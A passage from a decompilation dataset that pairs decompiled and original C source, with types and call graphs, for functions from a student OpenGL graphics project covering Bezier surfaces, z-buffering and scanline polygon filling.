(int)(temp2[0].x + 0.5);\n p.y = (int)(temp2[0].y + 0.5);\n return p;\n}", "canonical_original_code": "struct point recur(double u, double v)\n{\n int i; int j; int k;\n struct point p;\n for (i = 0;i < m;++i)\n {\n for (j = 0;j < n;++j)\n {\n temp1[j].x = con2d[i][j].x;\n temp1[j].y = con2d[i][j].y;\n }\n for (j = 0;j < n;++j)\n for (k = 0;k < n-j-1;++k)\n {\n temp1[k].x = v*temp1[k].x+(1-v)*temp1[k+1].x;\n temp1[k].y = v*temp1[k].y+(1-v)*temp1[k+1].y;\n }\n temp2[i] = temp1[0];\n }\n for (i = 0;i < m;++i)\n {\n for (k = 0;k < m-i-1;++k)\n {\n temp2[k].x = u*temp2[k].x+(1-u)*temp2[k+1].x;\n temp2[k].y = u*temp2[k].y+(1-u)*temp2[k+1].y;\n }\n }\n p.x = (int)(temp2[0].x + 0.5);\n p.y = (int)(temp2[0].y + 0.5);\n return p;\n}", "variable_types": [ [ "u", "double" ], [ "v", "double" ], [ "i", "int" ], [ "j", "int" ], [ "k", "int" ], [ "p", "struct point { int x; }" ] ], "return_type": "struct point { int x; }", "user_defined_types": [ "struct point { int x; }" ], "binary_hash": "b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf" }, { "name": "drawsurface", "canonical_name": "func5", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "double drawsurface()\n{\nint *v0; // rax\nint *v1; // rax\nint *v2; // rax\nint *v3; // rax\nunsigned __int64 v4; // rdi\nvoid *v5; // rsp\nint v6; // edx\ndouble result; // xmm0_8\n__int64 v8[6]; // [rsp+0h] [rbp-C0h] BYREF\n__int64 v9; // [rsp+30h] [rbp-90h]\n_DWORD v10[3]; // [rsp+38h] [rbp-88h]\nint v11; // [rsp+44h] [rbp-7Ch]\n__int64 v12; // [rsp+54h] [rbp-6Ch]\nint v13; // [rsp+5Ch] [rbp-64h]\nunsigned __int64 v14; // [rsp+60h] [rbp-60h]\n__int64 v15; // [rsp+68h] [rbp-58h]\n__int64 v16; // [rsp+70h] [rbp-50h]\nint i; // [rsp+78h] [rbp-48h]\nint j; // [rsp+7Ch] [rbp-44h]\ndouble k; // [rsp+80h] [rbp-40h]\ndouble l; // [rsp+88h] [rbp-38h]\n\nread2d();\nfor ( i = 0; i < m; ++i )\n{\nfor ( j = 1; j < n; ++j )\n{\nv0 = &con2d[30 * i + 3 * j];\nv9 = *(_QWORD *)v0;\nv10[0] = v0[2];\nv1 = &con2d[30 * i - 3 + 3 * j];\n*(_QWORD *)&v10[1] = *(_QWORD *)v1;\nv11 = v1[2];\ndrawline(*(double *)&yellow, *((float *)&yellow + 2));\n}\n}\nfor ( j = 0; j < n; ++j )\n{\nfor ( i = 1; i < m; ++i )\n{\nv2 = &con2d[30 * i + 3 * j];\nv9 = *(_QWORD *)v2;\nv10[0] = v2[2];\nv3 = &con2d[30 * i - 30 + 3 * j];\n*(_QWORD *)&v10[1] = *(_QWORD *)v3;\nv11 = v3[2];\ndrawline(*(double *)&yellow, *((float *)&yellow + 2));\n}\n}\nv16 = n - 1LL;\nv8[0] = n;\nv8[1] = 0LL;\nv4 = 16LL * n;\nv15 = m - 1LL;\nv8[2] = n;\nv8[3] = 0LL;\nv8[4] = m;\nv8[5] = 0LL;\nv5 = alloca(16 * ((16 * n * (__int64)m + 15) / 0x10uLL));\nv14 = 8 * (((unsigned __int64)v8 + 7) >> 3);\nfor ( i = 0; i < m; ++i )\n{\nfor ( j = 0; j < n; ++j )\n{\n*(double *)(v14 + 8 * ((v4 >> 3) * i + 2LL * j)) = (double)con2d[30 * i + 3 * j];\n*(double *)(v14 + 8 * ((v4 >> 3) * i + 2LL * j) + 8) = (double)con2d[30 * i + 1 + 3 * j];\n}\n}\nglColor3f(*(double *)_mm_cvtsi32_si128(red).m128i_i64, *((float *)&red + 1), *((float *)&red + 2));\nfor ( k = 0.0; ; k = k + 0.005 )\n{\nresult = 1.0;\nif ( k > 1.0 )\nbreak;\nfor ( l = 0.0; l <= 1.0; l = l + 0.005 )\n{\nv12 = recur(k, l);\nv13 = v6;\nglVertex2i((unsigned int)v12, HIDWORD(v12));\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "double func5()\n{\nint *v0; // rax\nint *v1; // rax\nint *v2; // rax\nint *v3; // rax\nunsigned __int64 v4; // rdi\nvoid *v5; // rsp\nint v6; // edx\ndouble result; // xmm0_8\n__int64 v8[6]; // [rsp+0h] [rbp-C0h] BYREF\n__int64 v9; // [rsp+30h] [rbp-90h]\n_DWORD v10[3]; // [rsp+38h] [rbp-88h]\nint v11; // [rsp+44h] [rbp-7Ch]\n__int64 v12; // [rsp+54h] [rbp-6Ch]\nint v13; // [rsp+5Ch] [rbp-64h]\nunsigned __int64 v14; // [rsp+60h] [rbp-60h]\n__int64 v15; // [rsp+68h] [rbp-58h]\n__int64 v16; // [rsp+70h] [rbp-50h]\nint i; // [rsp+78h] [rbp-48h]\nint j; // [rsp+7Ch] [rbp-44h]\ndouble k; // [rsp+80h] [rbp-40h]\ndouble l; // [rsp+88h] [rbp-38h]\n\nfunc1();\nfor ( i = 0; i < m; ++i )\n{\nfor ( j = 1; j < n; ++j )\n{\nv0 = &con2d[30 * i + 3 * j];\nv9 = *(_QWORD *)v0;\nv10[0] = v0[2];\nv1 = &con2d[30 * i - 3 + 3 * j];\n*(_QWORD *)&v10[1] = *(_QWORD *)v1;\nv11 = v1[2];\ndrawline(*(double *)&yellow, *((float *)&yellow + 2));\n}\n}\nfor ( j = 0; j < n; ++j )\n{\nfor ( i = 1; i < m; ++i )\n{\nv2 = &con2d[30 * i + 3 * j];\nv9 = *(_QWORD *)v2;\nv10[0] = v2[2];\nv3 = &con2d[30 * i - 30 + 3 * j];\n*(_QWORD *)&v10[1] = *(_QWORD *)v3;\nv11 = v3[2];\ndrawline(*(double *)&yellow, *((float *)&yellow + 2));\n}\n}\nv16 = n - 1LL;\nv8[0] = n;\nv8[1] = 0LL;\nv4 = 16LL * n;\nv15 = m - 1LL;\nv8[2] = n;\nv8[3] = 0LL;\nv8[4] = m;\nv8[5] = 0LL;\nv5 = alloca(16 * ((16 * n * (__int64)m + 15) / 0x10uLL));\nv14 = 8 * (((unsigned __int64)v8 + 7) >> 3);\nfor ( i = 0; i < m; ++i )\n{\nfor ( j = 0; j < n; ++j )\n{\n*(double *)(v14 + 8 * ((v4 >> 3) * i + 2LL * j)) = (double)con2d[30 * i + 3 * j];\n*(double *)(v14 + 8 * ((v4 >> 3) * i + 2LL * j) + 8) = (double)con2d[30 * i + 1 + 3 * j];\n}\n}\nglColor3f(*(double *)_mm_cvtsi32_si128(red).m128i_i64, *((float *)&red + 1), *((float *)&red + 2));\nfor ( k = 0.0; ; k = k + 0.005 )\n{\nresult = 1.0;\nif ( k > 1.0 )\nbreak;\nfor ( l = 0.0; l <= 1.0; l = l + 0.005 )\n{\nv12 = func4(k, l);\nv13 = v6;\nglVertex2i((unsigned int)v12, HIDWORD(v12));\n}\n}\nreturn result;\n}", "original_code": "void drawsurface()\n{\n read2d();\n int i,j;\n for (i = 0;i < m;++i)\n {\n struct line l;\n for (j = 1;j < n;++j)\n {\n l.p1 = con2d[i][j];\n l.p2 = con2d[i][j-1];\n drawline(l,yellow);\n }\n }\n for (j = 0;j < n;++j)\n {\n struct line l;\n for (i = 1;i < m;++i)\n {\n l.p1 = con2d[i][j];\n l.p2 = con2d[i-1][j];\n drawline(l,yellow);\n }\n }\n struct pointd origin[m][n];\n for (i = 0;i < m;++i)\n {\n for (j = 0;j < n;++j)\n {\n origin[i][j].x = con2d[i][j].x;\n origin[i][j].y = con2d[i][j].y;\n }\n }\n glColor3f(red.r,red.g,red.b);\n double u,v;\n for (u = 0;u <= 1; u+=0.005)\n for (v = 0;v <= 1; v+=0.005)\n {\n struct point p = recur(u,v);\n glVertex2i(p.x,p.y);\n }\n}", "canonical_original_code": "void drawsurface()\n{\n read2d();\n int i; int j;\n for (i = 0;i < m;++i)\n {\n struct line l;\n for (j = 1;j < n;++j)\n {\n l.p1 = con2d[i][j];\n l.p2 = con2d[i][j-1];\n drawline(l,yellow);\n }\n }\n for (j = 0;j < n;++j)\n {\n struct line l;\n for (i = 1;i < m;++i)\n {\n l.p1 = con2d[i][j];\n l.p2 = con2d[i-1][j];\n drawline(l,yellow);\n }\n }\n struct pointd origin[-1][-1];\n for (i = 0;i < m;++i)\n {\n for (j = 0;j < n;++j)\n {\n origin[i][j].x = con2d[i][j].x;\n origin[i][j].y = con2d[i][j].y;\n }\n }\n glColor3f(red.r,red.g,red.b);\n double u; double v;\n for (u = 0;u <= 1; u+=0.005)\n for (v = 0;v <= 1; v+=0.005)\n {\n struct point p = recur(u,v);\n glVertex2i(p.x,p.y);\n }\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ], [ "origin", "struct pointd { double x; } [-1][-1]" ], [ "u", "double" ], [ "v", "double" ], [ "p", "struct point { int x; }" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }", "struct pointd { double x; }" ], "binary_hash": "b7ecc0a9e0b2083c5cb545cc63486d68d806a67ce6a551a245617edbe4159ebf" } ]
e14aeeeebc9896d9ae607433d7554ece3203ca5fc9d47160a5aca1849632c4c7
kidxin/Graphics-Experiment
[ [ "readshadow", "->", "zbuffer" ], [ "zbuffer", "->", "readshadow" ] ]
[]
[ { "name": "readshadow", "canonical_name": "func0", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall readshadow(double a1, float a2)\n{\n_QWORD *v2; // rbx\n__int64 v3; // rdx\nfloat *v4; // rbx\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-14h]\n\nreadint(&pla_num);\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)pla_num;\nif ( i >= pla_num )\nbreak;\nv2 = (_QWORD *)((char *)&proj_list + 2232 * i);\n*v2 = readplane();\nv2[1] = v3;\nreadpolygon((char *)&proj_list + 2232 * i + 16);\nv4 = (float *)((char *)&proj_list + 2232 * i + 2220);\n*(double *)v4 = readcolor();\nv4[2] = a2;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(double a1, float a2)\n{\n_QWORD *v2; // rbx\n__int64 v3; // rdx\nfloat *v4; // rbx\n__int64 result; // rax\nint i; // [rsp+Ch] [rbp-14h]\n\nreadint(&pla_num);\nfor ( i = 0; ; ++i )\n{\nresult = (unsigned int)pla_num;\nif ( i >= pla_num )\nbreak;\nv2 = (_QWORD *)((char *)&proj_list + 2232 * i);\n*v2 = readplane();\nv2[1] = v3;\nreadpolygon((char *)&proj_list + 2232 * i + 16);\nv4 = (float *)((char *)&proj_list + 2232 * i + 2220);\n*(double *)v4 = readcolor();\nv4[2] = a2;\n}\nreturn result;\n}", "original_code": "void readshadow()\n{\n readint(&pla_num);\n int i;\n for (i = 0;i < pla_num;++i)\n {\n proj_list[i].plan=readplane();\n readpolygon(&proj_list[i].proj);\n proj_list[i].c=readcolor();\n }\n}", "canonical_original_code": "void readshadow()\n{\n readint(&pla_num);\n int i;\n for (i = 0;i < pla_num;++i)\n {\n proj_list[i].plan=readplane();\n readpolygon(&proj_list[i].proj);\n proj_list[i].c=readcolor();\n }\n}", "variable_types": [ [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "e14aeeeebc9896d9ae607433d7554ece3203ca5fc9d47160a5aca1849632c4c7" }, { "name": "zbuffer", "canonical_name": "func1", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall zbuffer(double a1, float a2)\n{\n__int64 result; // rax\nfloat *v3; // rax\n__int64 v4; // [rsp+18h] [rbp-38h]\nfloat v5; // [rsp+20h] [rbp-30h]\nunsigned int v6; // [rsp+2Ch] [rbp-24h]\ndouble v7; // [rsp+30h] [rbp-20h]\ndouble v8; // [rsp+38h] [rbp-18h]\nint k; // [rsp+44h] [rbp-Ch]\nint j; // [rsp+48h] [rbp-8h]\nint i; // [rsp+4Ch] [rbp-4h]\n\nresult = readshadow(a1, a2);\nfor ( i = -300; i <= 300; ++i )\n{\nfor ( j = -300; j <= 300; ++j )\n{\nv8 = 1.0e11;\nv4 = black;\nv5 = *((float *)&black + 2);\nfor ( k = 0; k < pla_num; ++k )\n{\nif ( *((_DWORD *)&proj_list + 558 * k + 2) )\n{\nif ( (unsigned int)in_poly((char *)&proj_list + 2232 * k + 16, __PAIR64__(j, i), v6) )\n{\nv7 = (double)(int)(HIDWORD(*((_QWORD *)&proj_list + 279 * k + 1))\n- i * *((_QWORD *)&proj_list + 279 * k)\n- j * HIDWORD(*((_QWORD *)&proj_list + 279 * k)))\n/ (double)(int)*((_QWORD *)&proj_list + 279 * k + 1);\nif ( v7 >= 0.0 && v8 > v7 )\n{\nv8 = (double)(int)(HIDWORD(*((_QWORD *)&proj_list + 279 * k + 1))\n- i * *((_QWORD *)&proj_list + 279 * k)\n- j * HIDWORD(*((_QWORD *)&proj_list + 279 * k)))\n/ (double)(int)*((_QWORD *)&proj_list + 279 * k + 1);\nv3 = (float *)((char *)&proj_list + 2232 * k + 2220);\nv4 = *(_QWORD *)v3;\nv5 = v3[2];\n}\n}\n}\n}\nglColor3f(*(double *)_mm_cvtsi32_si128(v4).m128i_i64, *((float *)&v4 + 1), v5);\nresult = glVertex2i((unsigned int)i, (unsigned int)j);\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(double a1, float a2)\n{\n__int64 result; // rax\nfloat *v3; // rax\n__int64 v4; // [rsp+18h] [rbp-38h]\nfloat v5; // [rsp+20h] [rbp-30h]\nunsigned int v6; // [rsp+2Ch] [rbp-24h]\ndouble v7; // [rsp+30h] [rbp-20h]\ndouble v8; // [rsp+38h] [rbp-18h]\nint k; // [rsp+44h] [rbp-Ch]\nint j; // [rsp+48h] [rbp-8h]\nint i; // [rsp+4Ch] [rbp-4h]\n\nresult = func0(a1, a2);\nfor ( i = -300; i <= 300; ++i )\n{\nfor ( j = -300; j <= 300; ++j )\n{\nv8 = 1.0e11;\nv4 = black;\nv5 = *((float *)&black + 2);\nfor ( k = 0; k < pla_num; ++k )\n{\nif ( *((_DWORD *)&proj_list + 558 * k + 2) )\n{\nif ( (unsigned int)in_poly((char *)&proj_list + 2232 * k + 16, __PAIR64__(j, i), v6) )\n{\nv7 = (double)(int)(HIDWORD(*((_QWORD *)&proj_list + 279 * k + 1))\n- i * *((_QWORD *)&proj_list + 279 * k)\n- j * HIDWORD(*((_QWORD *)&proj_list + 279 * k)))\n/ (double)(int)*((_QWORD *)&proj_list + 279 * k + 1);\nif ( v7 >= 0.0 && v8 > v7 )\n{\nv8 = (double)(int)(HIDWORD(*((_QWORD *)&proj_list + 279 * k + 1))\n- i * *((_QWORD *)&proj_list + 279 * k)\n- j * HIDWORD(*((_QWORD *)&proj_list + 279 * k)))\n/ (double)(int)*((_QWORD *)&proj_list + 279 * k + 1);\nv3 = (float *)((char *)&proj_list + 2232 * k + 2220);\nv4 = *(_QWORD *)v3;\nv5 = v3[2];\n}\n}\n}\n}\nglColor3f(*(double *)_mm_cvtsi32_si128(v4).m128i_i64, *((float *)&v4 + 1), v5);\nresult = glVertex2i((unsigned int)i, (unsigned int)j);\n}\n}\nreturn result;\n}", "original_code": "void zbuffer()\n{\n readshadow();\n int i,j,k;\n for (i = -300;i <= 300;++i)\n for (j = -300;j <= 300;++j)\n {\n double z = 1e11;\n struct point p;\n struct colour c = black;\n p.x = i;\n p.y = j;\n for (k = 0;k < pla_num;++k)\n {\n if (proj_list[k].plan.z != 0)\n if (in_poly(&proj_list[k].proj,p))\n {\n struct plane pl = proj_list[k].plan;\n double t = (pl.d-pl.x*i-pl.y*j)/(double)pl.z;\n if (t >=0 && t < z)\n {\n z = t;\n c = proj_list[k].c;\n }\n }\n }\n glColor3f(c.r,c.g,c.b);\n glVertex2i(i,j);\n }\n}", "canonical_original_code": "void zbuffer()\n{\n readshadow();\n int i; int j; int k;\n for (i = -300;i <= 300;++i)\n for (j = -300;j <= 300;++j)\n {\n double z = 1e11;\n struct point p;\n struct colour c = black;\n p.x = i;\n p.y = j;\n for (k = 0;k < pla_num;++k)\n {\n if (proj_list[k].plan.z != 0)\n if (in_poly(&proj_list[k].proj,p))\n {\n struct plane pl = proj_list[k].plan;\n double t = (pl.d-pl.x*i-pl.y*j)/(double)pl.z;\n if (t >=0 && t < z)\n {\n z = t;\n c = proj_list[k].c;\n }\n }\n }\n glColor3f(c.r,c.g,c.b);\n glVertex2i(i,j);\n }\n}", "variable_types": [ [ "i", "int" ], [ "j", "int" ], [ "k", "int" ], [ "z", "double" ], [ "p", "struct point { int x; }" ], [ "c", "struct colour { float r; }" ], [ "pl", "struct plane { int x; }" ], [ "t", "double" ] ], "return_type": "void", "user_defined_types": [ "struct point { int x; }", "struct colour { float r; }", "struct plane { int x; }" ], "binary_hash": "e14aeeeebc9896d9ae607433d7554ece3203ca5fc9d47160a5aca1849632c4c7" } ]
f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b
kidxin/Graphics-Experiment
[ [ "comp_slope", "->", "comp_line" ], [ "makeline", "->", "readpolygon", "fillpolygon" ], [ "nomalize", "->", "fillpolygon" ], [ "readpolygon", "->", "makeline" ], [ "drawpolygon", "->", "fillpolygon" ], [ "comp_line", "->", "comp_slope" ], [ "in_poly", "->" ], [ "fillseed", "->" ], [ "fillpolygon", "->", "makeline", "nomalize", "drawpolygon" ] ]
[ [ "fillpolygon", "__int64 __fastcall func8(__int64 a1, double a2, float a3, double a4, float a5)\n{\nchar *v5; // rcx\n__int64 v6; // rsi\n__int64 v7; // rdx\n__int64 v8; // rdx\n_QWORD *v9; // rax\nchar *v10; // rsi\n__int64 v11; // rdx\n__int64 v12; // rdx\nint v13; // ebx\nint v14; // eax\n_QWORD *v15; // rax\nchar *v16; // rsi\n__int64 v17; // rdx\n__int64 v18; // rdx\nchar base[4]; // [rsp+30h] [rbp-690h] BYREF\n_DWORD v21[399]; // [rsp+34h] [rbp-68Ch]\n_QWORD *v22; // [rsp+670h] [rbp-50h]\nvoid *ptr; // [rsp+678h] [rbp-48h]\n_QWORD *v24; // [rsp+680h] [rbp-40h]\nint v25; // [rsp+688h] [rbp-38h]\nunsigned int k; // [rsp+68Ch] [rbp-34h]\n_QWORD *j; // [rsp+690h] [rbp-30h]\n_QWORD *v28; // [rsp+698h] [rbp-28h]\nint v29; // [rsp+6A4h] [rbp-1Ch]\nint v30; // [rsp+6A8h] [rbp-18h]\nint i; // [rsp+6ACh] [rbp-14h]\nchar v32[8]; // [rsp+6B0h] [rbp-10h] BYREF\n\nv25 = *(_DWORD *)(a1 + 2200);\nfunc1(a1);\nglColor3f(*(float *)&a4, COERCE_DOUBLE((unsigned __int64)HIDWORD(a4)), COERCE_DOUBLE((unsigned __int64)LODWORD(a5)));\nfor ( i = 0; i < v25; ++i )\n{\nv5 = &base[32 * i];\nv6 = a1 + 32LL * i + 592;\nv7 = *(_QWORD *)(a1 + 32LL * i + 608);\n*(_QWORD *)v5 = *(_QWORD *)(a1 + 32LL * i + 600);\n*((_QWORD *)v5 + 1) = v7;\nv8 = *(_QWORD *)(v6 + 32);\n*((_QWORD *)v5 + 2) = *(_QWORD *)(v6 + 24);\n*((_QWORD *)v5 + 3) = v8;\nfunc2(&base[32 * i]);\n}\nqsort(base, v25, 0x20uLL, (__compar_fn_t)comp_line);\nv29 = 0;\nv30 = v21[0] + 1;\nv28 = 0LL;\nwhile ( v30 > v21[8 * v29] )\n{\nif ( v30 <= *(_DWORD *)&v32[32 * v29 - 1648] )\n{\nv9 = malloc(0x38uLL);\nv22 = v9;\nv10 = &base[32 * v29];\nv11 = *((_QWORD *)v10 + 1);\n*v9 = *(_QWORD *)v10;\nv9[1] = v11;\nv12 = *((_QWORD *)v10 + 3);\nv9[2] = *((_QWORD *)v10 + 2);\nv9[3] = v12;\nv22[6] = 0LL;\nv22[5] = 0LL;\nif ( v28 )\n{\nj[5] = v22;\nv22[6] = j;\n}\nelse\n{\nv28 = v22;\n}\nj = v22;\n++v29;\n}\nelse\n{\n++v29;\n}\n}\nwhile ( v28 )\n{\nfor ( j = v28; j; j = (_QWORD *)j[5] )\n{\nv13 = *(_DWORD *)j;\nv14 = delta_x(j[3], (unsigned int)(v30 - *((_DWORD *)j + 1)));\n*((_DWORD *)j + 8) = v13 + v14;\n}\nfor ( j = v28; j; j = *(_QWORD **)(j[5] + 40LL) )\n{\nfor ( k = *((_DWORD *)j + 8); (signed int)k < *(_DWORD *)(j[5] + 32LL); ++k )\nglVertex2i(k, (unsigned int)v30);\n}\n++v30;\nj = v28;\nwhile ( v29 < v25 && v30 > v21[8 * v29] )\n{\nif ( v30 <= *(_DWORD *)&v32[32 * v29 - 1648] )\n{\nv15 = malloc(0x38uLL);\nv24 = v15;\nv16 = &base[32 * v29];\nv17 = *((_QWORD *)v16 + 1);\n*v15 = *(_QWORD *)v16;\nv15[1] = v17;\nv18 = *((_QWORD *)v16 + 3);\nv15[2] = *((_QWORD *)v16 + 2);\nv15[3] = v18;\n*((_DWORD *)v24 + 8) = *(_DWORD *)&base[32 * v29];\nif ( *((_DWORD *)v24 + 8) >= *((_DWORD *)v28 + 8) )\n{\nwhile ( j[5] && *(_DWORD *)(j[5] + 32LL) <= *(_DWORD *)&base[32 * v29] )\nj = (_QWORD *)j[5];\nv24[5] = j[5];\nif ( j[5] )\n*(_QWORD *)(j[5] + 48LL) = v24;\nv24[6] = j;\nj[5] = v24;\nj = v24;\n++v29;\n}\nelse\n{\nv24[5] = v28;\nv28[6] = v24;\nj = v24;\nv28 = v24;\n++v29;\n}\n}\nelse\n{\n++v29;\n}\n}\nj = v28;\nwhile ( j )\n{\nif ( v30 <= *((_DWORD *)j + 4) )\n{\nj = (_QWORD *)j[5];\n}\nelse\n{\nptr = j;\nif ( j == v28 )\n{\nv28 = (_QWORD *)j[5];\n}\nelse\n{\n*(_QWORD *)(j[6] + 40LL) = j[5];\nif ( j[5] )\n*(_QWORD *)(j[5] + 48LL) = j[6];\n}\nj = (_QWORD *)j[5];\nfree(ptr);\n}\n}\n}\nreturn func4(a1, a2, a3);\n}" ] ]
[ { "name": "comp_slope", "canonical_name": "func0", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall comp_slope(_DWORD *a1, _DWORD *a2)\n{\n__int64 result; // rax\n\nif ( *a1 * *a2 > 0 )\nresult = (unsigned int)(*a1 * a2[1] - a1[1] * *a2);\nelse\nresult = (unsigned int)(*a1 - *a2);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(_DWORD *a1, _DWORD *a2)\n{\n__int64 result; // rax\n\nif ( *a1 * *a2 > 0 )\nresult = (unsigned int)(*a1 * a2[1] - a1[1] * *a2);\nelse\nresult = (unsigned int)(*a1 - *a2);\nreturn result;\n}", "original_code": "int comp_slope(const void *a,const void *b)\n{\n int t1 = ((struct slope *)a)->dx * ((struct slope *)b)->dy;\n int t2 = ((struct slope *)a)->dy * ((struct slope *)b)->dx;\n int t3 = ((struct slope *)a)->dx * ((struct slope *)b)->dx;\n if (t3 <= 0) return ((struct slope *)a)->dx - ((struct slope *)b)->dx;\n else return t1-t2;\n}", "canonical_original_code": "int comp_slope(void *a, void *b)\n{\n int t1 = ((struct slope *)a)->dx * ((struct slope *)b)->dy;\n int t2 = ((struct slope *)a)->dy * ((struct slope *)b)->dx;\n int t3 = ((struct slope *)a)->dx * ((struct slope *)b)->dx;\n if (t3 <= 0) return ((struct slope *)a)->dx - ((struct slope *)b)->dx;\n else return t1-t2;\n}", "variable_types": [ [ "a", "void *" ], [ "b", "void *" ], [ "t1", "int" ], [ "t2", "int" ], [ "t3", "int" ] ], "return_type": "int", "user_defined_types": [ "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "makeline", "canonical_name": "func1", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall makeline(__int64 a1)\n{\n__int64 v1; // rdx\n__int64 v2; // rax\n__int64 v3; // rax\n__int64 result; // rax\nint i; // [rsp+14h] [rbp-4h]\n\nfor ( i = 0; ; ++i )\n{\nresult = *(unsigned int *)(a1 + 2200);\nif ( i >= (int)result )\nbreak;\nv1 = a1 + 32LL * i + 592;\nv2 = a1 + 12LL * i;\n*(_QWORD *)(v1 + 8) = *(_QWORD *)v2;\n*(_DWORD *)(v1 + 16) = *(_DWORD *)(v2 + 8);\nv3 = a1 + 12LL * ((i + 1) % *(_DWORD *)(a1 + 2200));\n*(_QWORD *)(v1 + 20) = *(_QWORD *)v3;\n*(_DWORD *)(v1 + 28) = *(_DWORD *)(v3 + 8);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\n__int64 v1; // rdx\n__int64 v2; // rax\n__int64 v3; // rax\n__int64 result; // rax\nint i; // [rsp+14h] [rbp-4h]\n\nfor ( i = 0; ; ++i )\n{\nresult = *(unsigned int *)(a1 + 2200);\nif ( i >= (int)result )\nbreak;\nv1 = a1 + 32LL * i + 592;\nv2 = a1 + 12LL * i;\n*(_QWORD *)(v1 + 8) = *(_QWORD *)v2;\n*(_DWORD *)(v1 + 16) = *(_DWORD *)(v2 + 8);\nv3 = a1 + 12LL * ((i + 1) % *(_DWORD *)(a1 + 2200));\n*(_QWORD *)(v1 + 20) = *(_QWORD *)v3;\n*(_DWORD *)(v1 + 28) = *(_DWORD *)(v3 + 8);\n}\nreturn result;\n}", "original_code": "void makeline(struct poly *pol)\n{\n int i;\n for (i=0;i < pol->ver_num;++i)\n {\n pol->edge[i].p1 = pol->vertex[i];\n pol->edge[i].p2 = pol->vertex[(i+1)%pol->ver_num];\n }\n}", "canonical_original_code": "void makeline(struct poly *pol)\n{\n int i;\n for (i=0;i < pol->ver_num;++i)\n {\n pol->edge[i].p1 = pol->vertex[i];\n pol->edge[i].p2 = pol->vertex[(i+1)%pol->ver_num];\n }\n}", "variable_types": [ [ "pol", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; } *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [ "struct poly { struct point vertex[50]; struct line edge[50]; int ver_num; }", "struct point { int x; }", "struct line { struct point p1; struct slope sl; }", "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "nomalize", "canonical_name": "func2", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall nomalize(_DWORD *a1)\n{\nif ( a1[1] > a1[4] || a1[1] == a1[4] && *a1 > a1[3] )\nswap_poi(a1, a1 + 3);\nreturn cal_sl(a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(_DWORD *a1)\n{\nif ( a1[1] > a1[4] || a1[1] == a1[4] && *a1 > a1[3] )\nswap_poi(a1, a1 + 3);\nreturn cal_sl(a1);\n}", "original_code": "void nomalize(struct line *l)\n{\n if (l->p1.y > l->p2.y || (l->p1.y == l->p2.y && l->p1.x > l->p2.x))\n swap_poi(&l->p1,&l->p2);\n cal_sl(l);\n}", "canonical_original_code": "void nomalize(struct line *l)\n{\n if (l->p1.y > l->p2.y || (l->p1.y == l->p2.y && l->p1.x > l->p2.x))\n swap_poi(&l->p1,&l->p2);\n cal_sl(l);\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; } *" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "readpolygon", "canonical_name": "func3", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall readpolygon(__int64 a1)\n{\n__int64 v1; // rbx\nint v2; // edx\nint i; // [rsp+1Ch] [rbp-14h]\n\nreadint(a1 + 2200);\nfor ( i = 0; i < *(_DWORD *)(a1 + 2200); ++i )\n{\nv1 = a1 + 12LL * i;\n*(_QWORD *)v1 = readpoint();\n*(_DWORD *)(v1 + 8) = v2;\n}\nreturn makeline(a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(__int64 a1)\n{\n__int64 v1; // rbx\nint v2; // edx\nint i; // [rsp+1Ch] [rbp-14h]\n\nreadint(a1 + 2200);\nfor ( i = 0; i < *(_DWORD *)(a1 + 2200); ++i )\n{\nv1 = a1 + 12LL * i;\n*(_QWORD *)v1 = readpoint();\n*(_DWORD *)(v1 + 8) = v2;\n}\nreturn func1(a1);\n}", "original_code": "void readpolygon(struct poly *pol)\n{\n readint(&pol->ver_num);\n int i;\n for (i=0;i < pol->ver_num;++i) pol->vertex[i]=readpoint();\n makeline(pol);\n}", "canonical_original_code": "void readpolygon(struct poly *pol)\n{\n readint(&pol->ver_num);\n int i;\n for (i=0;i < pol->ver_num;++i) pol->vertex[i]=readpoint();\n makeline(pol);\n}", "variable_types": [ [ "pol", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; } *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [ "struct poly { struct point vertex[50]; struct line edge[50]; int ver_num; }", "struct point { int x; }", "struct line { struct point p1; struct slope sl; }", "struct slope { int dx; }" ], "binary_hash": "f15dfa7fdcfc5c1217ff78864a486a605629a9df61c18813eb43bc5b4418c94b" }, { "name": "drawpolygon", "canonical_name": 